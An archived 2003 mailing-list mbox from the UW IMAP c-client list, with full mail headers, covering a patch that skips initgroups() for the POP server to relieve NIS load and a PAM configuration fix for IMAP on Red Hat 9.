Sep 30 15:09:20 2003 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 30 Sep 2003 15:09:20 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.9+UW03.09/8.12.9+UW03.08) with ESMTP id h8UM9Kul026199 for ; Tue, 30 Sep 2003 15:09:20 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h8UM9IY8016330 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Tue, 30 Sep 2003 15:09:18 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.9+UW03.09/8.12.9+UW03.09) with SMTP id h8UM9DQV018096; Tue, 30 Sep 2003 15:09:13 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.12.9+UW03.09/8.12.9+UW03.09) with ESMTP id h8UM87hh021688 for ; Tue, 30 Sep 2003 15:08:07 -0700 Received: from dribble.mel.cme.nist.gov (dribble.mel.cme.nist.gov [129.6.71.12]) by mxu4.u.washington.edu (8.12.9+UW03.09/8.12.9+UW03.08) with ESMTP id h8UM84TY006402 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Tue, 30 Sep 2003 15:08:05 -0700 Received: from bigtoe.mel.cme.nist.gov (bigtoe.mel.cme.nist.gov [129.6.71.113]) by dribble.mel.cme.nist.gov (8.12.10/8.12.10) with ESMTP id h8UM84Ck022380 for ; Tue, 30 Sep 2003 18:08:04 -0400 (EDT) Received: from bigtoe.mel.cme.nist.gov (localhost [127.0.0.1]) by bigtoe.mel.cme.nist.gov (8.12.8/8.12.8) with ESMTP id h8UM83LN003142 for ; Tue, 30 Sep 2003 18:08:03 -0400 Received: (from steveb@localhost) by bigtoe.mel.cme.nist.gov (8.12.8/8.12.8/Submit) id h8UM83X6003140 for c-client@u.washington.edu; Tue, 30 Sep 2003 18:08:03 -0400 Message-Id: <20030930220803.GE503@cme.nist.gov> Date: Tue, 30 Sep 2003 18:08:03 -0400 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Steve Barber To: c-client@u.washington.edu Subject: initgroups call in src/osdep/unix/log_std.c Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='SIGNATURE_SHORT_DENSE, __CD, __CT, __CT_TEXT_PLAIN, __EVITE_CTYPE, __HAS_MSGID, __MIME_VERSION, __SANE_MSGID' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN In tracking down why one of our servers was hammering an NIS server, I found that it was nearly continuously enumerating the groups map, which is fairly large. I believe this is because of the initgroups call in src/osdep/unix/log_std.c. This call makes sense in an IMAP context but I can't see a need for it in a POP context, and of course POP connections are far more frequent. (a) am I missing something, and (b) assuming I want to get rid of it in the POP server, is there an elegant way to patch this so I don't have to do two separate builds (one for pop, one for imap)? Thanks - Steve -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Tue Sep 30 17:36:40 2003 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 30 Sep 2003 17:36:39 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.9+UW03.09/8.12.9+UW03.08) with ESMTP id h910adul001759 for ; Tue, 30 Sep 2003 17:36:39 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h910abY8022757 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Tue, 30 Sep 2003 17:36:38 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.9+UW03.09/8.12.9+UW03.09) with SMTP id h910aVX3041296; Tue, 30 Sep 2003 17:36:32 -0700 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.12.9+UW03.09/8.12.9+UW03.09) with ESMTP id h910ZLhh049534 for ; Tue, 30 Sep 2003 17:35:21 -0700 Received: from mxout1.cac.washington.edu (mxout1.cac.washington.edu [140.142.32.134]) by mxu2.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h910ZKRD015179 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Tue, 30 Sep 2003 17:35:20 -0700 Received: from smtp.washington.edu (smtp.washington.edu [140.142.33.9]) by mxout1.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h910ZGaZ012390; Tue, 30 Sep 2003 17:35:16 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) (authenticated bits=0) by smtp.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h910ZGFP014479 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Tue, 30 Sep 2003 17:35:16 -0700 Message-Id: Date: Tue, 30 Sep 2003 17:35:16 -0700 (Pacific Daylight Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Steve Barber Cc: c-client@u.washington.edu Subject: Re: initgroups call in src/osdep/unix/log_std.c In-Reply-To: <20030930220803.GE503@cme.nist.gov> References: <20030930220803.GE503@cme.nist.gov> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: mrc@ndcms.cac.washington.edu X-Uwash-Spam: Gauge=IIIII, Probability=5%, Report='IN_REP_TO, REFERENCES, __CT, __CT_TEXT_PLAIN, __HAS_MSGID, __IN_REP_TO, __MIME_VERSION, __REFERENCES, __SANE_MSGID, __USER_AGENT_PINE' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Steve - You're not the only person who has experienced a performance problem due to initgroups(); similar problems have been reported by people who authenticate via SQL. There is currently no mechanism to disable the initgroups() call for the POP server only. As you've noted, it's very definitely necessary for the IMAP server. It shouldn't be too difficult to put in such a feature if it turns out that's the only feasible solution. However, IMHO disabling initgroups() for POP is just a band-aid for the real problem, which is the performance problem in initgroups() when used with NIS. This is something that should be taken up with your NIS vendor. The problem isn't going to go away and will get worse, even with the band-aid. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Tue Sep 30 17:52:30 2003 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 30 Sep 2003 17:52:30 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.9+UW03.09/8.12.9+UW03.08) with ESMTP id h910qTul002416 for ; Tue, 30 Sep 2003 17:52:29 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.08) with ESMTP id h910qRGs020841 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Tue, 30 Sep 2003 17:52:27 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.12.9+UW03.09/8.12.9+UW03.09) with SMTP id h910qMOk018046; Tue, 30 Sep 2003 17:52:22 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.132]) by lists.u.washington.edu (8.12.9+UW03.09/8.12.9+UW03.09) with ESMTP id h910pchh070092 for ; Tue, 30 Sep 2003 17:51:38 -0700 Received: from sccrmhc13.comcast.net (sccrmhc13.comcast.net [204.127.202.64]) by mxu1.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h910pajg019617 for ; Tue, 30 Sep 2003 17:51:37 -0700 Received: from cme.nist.gov (pcp04744948pcs.nrockv01.md.comcast.net[68.49.254.4]) by comcast.net (sccrmhc13) with SMTP id <20031001005136016005t088e>; Wed, 1 Oct 2003 00:51:36 +0000 Message-Id: <3F7A2518.6070300@cme.nist.gov> Date: Tue, 30 Sep 2003 20:51:36 -0400 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Steve Barber To: c-client@u.washington.edu Subject: Re: initgroups call in src/osdep/unix/log_std.c In-Reply-To: References: <20030930220803.GE503@cme.nist.gov> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Accept-Language: en, fr X-Uwash-Spam: Gauge=I, Probability=1%, Report='EMAIL_ATTRIBUTION, IN_REP_TO, QUOTED_EMAIL_TEXT, REFERENCES, X_ACCEPT_LANG, __CT, __CTE, __CT_TEXT_PLAIN, __EVITE_CTYPE, __HAS_MSGID, __IN_REP_TO, __MIME_VERSION, __MOZILLA_MSGID, __REFERENCES, __SANE_MSGID' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Mark Crispin wrote: > There is currently no mechanism to disable the initgroups() call for the > POP server only. As you've noted, it's very definitely necessary for the > IMAP server. It shouldn't be too difficult to put in such a feature if it > turns out that's the only feasible solution. Hi Mark, I'd be very interested in such a feature. I'm even willing to take a first crack at it if you can give me some hints as to how, in that code segment, I might cleanly be able to determine whether it's being used from ipop3d. > However, IMHO disabling initgroups() for POP is just a band-aid for the > real problem, which is the performance problem in initgroups() when used > with NIS. This is something that should be taken up with your NIS vendor. > The problem isn't going to go away and will get worse, even with the > band-aid. I agree, however a band-aid is all I need here and I'm stuck with NIS for the time being. This mail server (and surrounding infrastructure) only has a finite lifetime, but it's long enough that I'd like to make it work better in the meantime. Thanks, Steve From pinedev@shivax2.cac.washington.edu Tue Sep 30 18:03:31 2003 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 30 Sep 2003 18:03:31 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.9+UW03.09/8.12.9+UW03.08) with ESMTP id h9113Vul002796 for ; Tue, 30 Sep 2003 18:03:31 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx1.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9113TY8023694 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Tue, 30 Sep 2003 18:03:29 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.12.9+UW03.09/8.12.9+UW03.09) with SMTP id h9113NOk028228; Tue, 30 Sep 2003 18:03:23 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.12.9+UW03.09/8.12.9+UW03.09) with ESMTP id h9112Nhh070076 for ; Tue, 30 Sep 2003 18:02:23 -0700 Received: from mxout5.cac.washington.edu (mxout5.cac.washington.edu [140.142.32.135]) by mxu4.u.washington.edu (8.12.9+UW03.09/8.12.9+UW03.08) with ESMTP id h9112MTY024322 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Tue, 30 Sep 2003 18:02:23 -0700 Received: from smtp.washington.edu (smtp.washington.edu [140.142.33.9]) by mxout5.cac.washington.edu (8.12.9+UW03.09/8.12.9+UW03.08) with ESMTP id h9112KWV024115; Tue, 30 Sep 2003 18:02:20 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) (authenticated bits=0) by smtp.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9112KFP016137 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Tue, 30 Sep 2003 18:02:20 -0700 Message-Id: Date: Tue, 30 Sep 2003 18:02:20 -0700 (Pacific Daylight Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Steve Barber Cc: c-client@u.washington.edu Subject: Re: initgroups call in src/osdep/unix/log_std.c In-Reply-To: <3F7A2518.6070300@cme.nist.gov> References: <20030930220803.GE503@cme.nist.gov> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: mrc@ndcms.cac.washington.edu X-Uwash-Spam: Gauge=II, Probability=2%, Report='EMAIL_ATTRIBUTION, IN_REP_TO, REFERENCES, __CT, __CT_TEXT_PLAIN, __HAS_MSGID, __IN_REP_TO, __MIME_VERSION, __REFERENCES, __SANE_MSGID, __USER_AGENT_PINE' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Tue, 30 Sep 2003, Steve Barber wrote: > > There is currently no mechanism to disable the initgroups() call for the > > POP server only. As you've noted, it's very definitely necessary for the > > IMAP server. It shouldn't be too difficult to put in such a feature if it > > turns out that's the only feasible solution. > I'd be very interested in such a feature. I'm even willing to take a first > crack at it if you can give me some hints as to how, in that code segment, > I might cleanly be able to determine whether it's being used from ipop3d. I suggest something getting the service name and skipping the initgroups call if it is pop, e.g.: long loginpw (struct passwd *pw,int argc,char *argv[]) { uid_t uid = pw->pw_uid; char *name = cpystr (pw->pw_name); char *service = (char *) mail_parameters (NIL,GET_SERVICENAME,NIL); long ret = !(setgid (pw->pw_gid) || (strcmp (service,"pop") ? initgroups (name,pw->pw_gid) : T) || setuid (uid)); fs_give ((void **) &name); return ret; } -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Wed Oct 1 09:18:05 2003 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 1 Oct 2003 09:18:05 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h91GI5MZ005805 for ; Wed, 1 Oct 2003 09:18:05 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h91GI20K015722 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Wed, 1 Oct 2003 09:18:03 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with SMTP id h91GHvVi034726; Wed, 1 Oct 2003 09:17:57 -0700 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h91GGSJH054120 for ; Wed, 1 Oct 2003 09:16:28 -0700 Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by mxu2.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h91GGQa2022516 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=FAIL) for ; Wed, 1 Oct 2003 09:16:26 -0700 Received: from hermes.dur.ac.uk (hermes.dur.ac.uk [129.234.4.9]) by mx2.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h91GGM0J015652 for ; Wed, 1 Oct 2003 09:16:24 -0700 Received: from mercury.dur.ac.uk (mercury.dur.ac.uk [129.234.4.40]) by hermes.dur.ac.uk (8.11.7-20030923/8.11.7) with ESMTP id h91GFgB09119 for ; Wed, 1 Oct 2003 17:15:42 +0100 (BST) Received: from arachne.dur.ac.uk (arachne.dur.ac.uk [129.234.2.4]) by mercury.dur.ac.uk (8.12.9+Sun/8.11.7) with ESMTP id h91GFfdv011056 for ; Wed, 1 Oct 2003 17:15:41 +0100 (BST) Received: from localhost (dcl0tdl@localhost) by arachne.dur.ac.uk (8.11.7+Sun/8.11.1) with ESMTP id h91GFec06485 for ; Wed, 1 Oct 2003 17:15:40 +0100 (BST) Message-Id: Date: Wed, 1 Oct 2003 17:15:39 +0100 (BST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: David Lee To: c-client@CAC.Washington.EDU Subject: RH9; imap-2002e; PAM authentication MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-DurhamAcUk-MailScanner: Found to be clean X-MailScanner: Found to be clean X-Uwash-Spam: Gauge=II, Probability=2%, Report='SIGNATURE_LONG_DENSE, __CT, __CT_TEXT_PLAIN, __HAS_MSGID, __MIME_VERSION, __SANE_MSGID, __USER_AGENT_PINE' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN We have been happily using Washington imap and pop for several years on Solaris, using NIS authentication. We are in the process of making two migrations: (1) from Solaris towards Linux (2) from NIS authentication towards Active Directory (via PAM/krb5) authentication. So that's four combinations. 1. Solaris/NIS: Fine; using for years; 2. Linux/NIS: Fine; using for a few months; 3. Solaris/AD-via-PAM: Fine (PAM only uses perm_krb5 not pam_unix; verified on accounts with deliberately different NIS and AD passwords); 4. Linux/AD: Trouble. Following the FAQ (PAM for plaintext passwords) I rebuilt with "make lnp". But neither password works. Have tried versions imap-2002c1 and imap-2002e. (The other services on the box (telnet, rlogin, etc.) are fine: "/etc/pam.d/system-auth" has, for the moment, been set to accept either password.) In debugging this Linux/AD, I determined that in "src/osdep/unix/ckp_pam.c": if ((pam_start ((char *) mail_parameters (NIL,GET_SERVICENAME,NIL), pw->pw_name,&conv,&hdl) != PAM_SUCCESS) || (pam_set_item (hdl,PAM_RHOST,tcp_clientaddr ()) != PAM_SUCCESS) || (pam_authenticate (hdl,NIL) != PAM_SUCCESS) || (pam_acct_mgmt (hdl,NIL) != PAM_SUCCESS) || (pam_setcred (hdl,PAM_ESTABLISH_CRED) != PAM_SUCCESS)) { "pam_start()" and the first "pam_set_item()" were succeeding, but that "pam_authenticate()" fails. Further, I suspect that "checkpw_conv()" (part of the "&conv" argument) is not being called (it didn't stop at a breakpoint on the routine, whereas it does on (working) Solaris/AD). [ System details: /etc/redhat-release: Red Hat Linux release 9 (Shrike) uname -a: Linux pluto2 2.4.20-19.9smp #1 SMP Tue Jul 15 17:04:18 EDT 2003 i686 i686 i386 GNU/Linux cc --version: cc (GCC) 3.2.2 20030222 (Red Hat Linux 3.2.2-5) ] Any thoughts, tips, hints etc. and what I might have missed? (Or known bugs/issues, etc.?) -- : David Lee I.T. Service : : Systems Programmer Computer Centre : : University of Durham : : http://www.dur.ac.uk/t.d.lee/ South Road : : Durham : : Phone: +44 191 334 2752 U.K. : -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Wed Oct 1 09:42:16 2003 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 1 Oct 2003 09:42:16 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h91GgFMZ007400 for ; Wed, 1 Oct 2003 09:42:15 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h91GgDY8019664 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Wed, 1 Oct 2003 09:42:14 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with SMTP id h91Gg9hA085336; Wed, 1 Oct 2003 09:42:09 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h91GfPJH026662 for ; Wed, 1 Oct 2003 09:41:25 -0700 Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by mxu4.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h91GfNDl001333 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=FAIL) for ; Wed, 1 Oct 2003 09:41:24 -0700 Received: from mxout5.cac.washington.edu (mxout5.cac.washington.edu [140.142.32.135]) by mx1.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h91GfMY8019620 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Wed, 1 Oct 2003 09:41:22 -0700 Received: from shiva1.cac.washington.edu (shiva1.cac.washington.edu [140.142.100.201]) by mxout5.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h91GfKMk012695; Wed, 1 Oct 2003 09:41:21 -0700 Received: from localhost (mrc@localhost) by shiva1.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h91GfK2t017836; Wed, 1 Oct 2003 09:41:20 -0700 Message-Id: Date: Wed, 1 Oct 2003 09:41:20 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: David Lee Cc: c-client@CAC.Washington.EDU Subject: Re: RH9; imap-2002e; PAM authentication In-Reply-To: References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Uwash-Spam: Gauge=IIIII, Probability=5%, Report='IN_REP_TO, REFERENCES, __CT, __CT_TEXT_PLAIN, __HAS_MSGID, __IN_REP_TO, __MIME_VERSION, __REFERENCES, __SANE_MSGID, __USER_AGENT_PINE' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Are you sure that you have properly configured PAM for IMAP on the Linux system? I know that there is a specific PAM configuration that has to be done for IMAP (something about an /etc/pam.d/imap file) but I don't know the details. I know that lots of people are using PAM with IMAP successfully, and getting the right PAM configuration file set up is the most common hurdle. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Wed Oct 1 10:35:04 2003 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 1 Oct 2003 10:35:04 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h91HZ4MZ010944 for ; Wed, 1 Oct 2003 10:35:04 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h91HZ1Y8021983 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Wed, 1 Oct 2003 10:35:02 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with SMTP id h91HYupM028222; Wed, 1 Oct 2003 10:34:56 -0700 Received: from mxu6.u.washington.edu (mxu6.u.washington.edu [140.142.33.12]) by lists.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h91HY4JH072592 for ; Wed, 1 Oct 2003 10:34:04 -0700 Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by mxu6.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h91HY2he014850 for ; Wed, 1 Oct 2003 10:34:02 -0700 Received: from hermes.dur.ac.uk (hermes.dur.ac.uk [129.234.4.9]) by mx2.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h91HXx0J018917; Wed, 1 Oct 2003 10:34:00 -0700 Received: from mercury.dur.ac.uk (mercury.dur.ac.uk [129.234.4.40]) by hermes.dur.ac.uk (8.11.7-20030923/8.11.7) with ESMTP id h91HXuB21169; Wed, 1 Oct 2003 18:33:56 +0100 (BST) Received: from arachne.dur.ac.uk (arachne.dur.ac.uk [129.234.2.4]) by mercury.dur.ac.uk (8.12.9+Sun/8.11.7) with ESMTP id h91HXodv018356; Wed, 1 Oct 2003 18:33:50 +0100 (BST) Received: from localhost (dcl0tdl@localhost) by arachne.dur.ac.uk (8.11.7+Sun/8.11.1) with ESMTP id h91HXng06704; Wed, 1 Oct 2003 18:33:50 +0100 (BST) Message-Id: Date: Wed, 1 Oct 2003 18:33:49 +0100 (BST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: David Lee To: Mark Crispin Cc: c-client@CAC.Washington.EDU Subject: Re: RH9; imap-2002e; PAM authentication In-Reply-To: References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-DurhamAcUk-MailScanner: Found to be clean X-MailScanner: Found to be clean X-Uwash-Spam: Gauge=I, Probability=1%, Report='EMAIL_ATTRIBUTION, IN_REP_TO, QUOTED_EMAIL_TEXT, REFERENCES, SIGNATURE_SHORT_DENSE, __CT, __CT_TEXT_PLAIN, __HAS_MSGID, __IN_REP_TO, __MIME_VERSION, __REFERENCES, __SANE_MSGID, __USER_AGENT_PINE' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Wed, 1 Oct 2003, Mark Crispin wrote: > Are you sure that you have properly configured PAM for IMAP on the Linux > system? I know that there is a specific PAM configuration that has to be > done for IMAP (something about an /etc/pam.d/imap file) but I don't know > the details. That was it! Thanks. Appreciated. (Although much Solaris experience, including PAM, I'm still finding my feet with Linux.) -- : David Lee I.T. Service : : Systems Programmer Computer Centre : : University of Durham : : http://www.dur.ac.uk/t.d.lee/ South Road : : Durham : : Phone: +44 191 334 2752 U.K. : From pinedev@shivax2.cac.washington.edu Wed Oct 1 11:39:52 2003 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 1 Oct 2003 11:39:52 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h91IdpMZ014540 for ; Wed, 1 Oct 2003 11:39:51 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h91Idm0K021854 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Wed, 1 Oct 2003 11:39:50 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with SMTP id h91IdVpM014112; Wed, 1 Oct 2003 11:39:31 -0700 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h91IbnJH065338 for ; Wed, 1 Oct 2003 11:37:49 -0700 Received: from dribble.mel.cme.nist.gov (dribble.mel.cme.nist.gov [129.6.71.12]) by mxu2.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h91Ibla2010665 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Wed, 1 Oct 2003 11:37:48 -0700 Received: from bigtoe.mel.cme.nist.gov (bigtoe.mel.cme.nist.gov [129.6.71.113]) by dribble.mel.cme.nist.gov (8.12.10/8.12.10) with ESMTP id h91IbkCk005431 for ; Wed, 1 Oct 2003 14:37:46 -0400 (EDT) Received: from bigtoe.mel.cme.nist.gov (localhost [127.0.0.1]) by bigtoe.mel.cme.nist.gov (8.12.8/8.12.8) with ESMTP id h91IbkLN007991 for ; Wed, 1 Oct 2003 14:37:46 -0400 Received: (from steveb@localhost) by bigtoe.mel.cme.nist.gov (8.12.8/8.12.8/Submit) id h91Ibkn2007989 for c-client@u.washington.edu; Wed, 1 Oct 2003 14:37:46 -0400 Message-Id: <20031001183746.GC7072@cme.nist.gov> Date: Wed, 1 Oct 2003 14:37:46 -0400 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Steve Barber To: c-client@u.washington.edu Subject: Re: initgroups call in src/osdep/unix/log_std.c In-Reply-To: References: <20030930220803.GE503@cme.nist.gov> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline X-Uwash-Spam: Gauge=III, Probability=3%, Report='IN_REP_TO, QUOTED_EMAIL_TEXT, REFERENCES, __CD, __CT, __CT_TEXT_PLAIN, __EVITE_CTYPE, __HAS_MSGID, __IN_REP_TO, __MIME_VERSION, __REFERENCES, __SANE_MSGID' 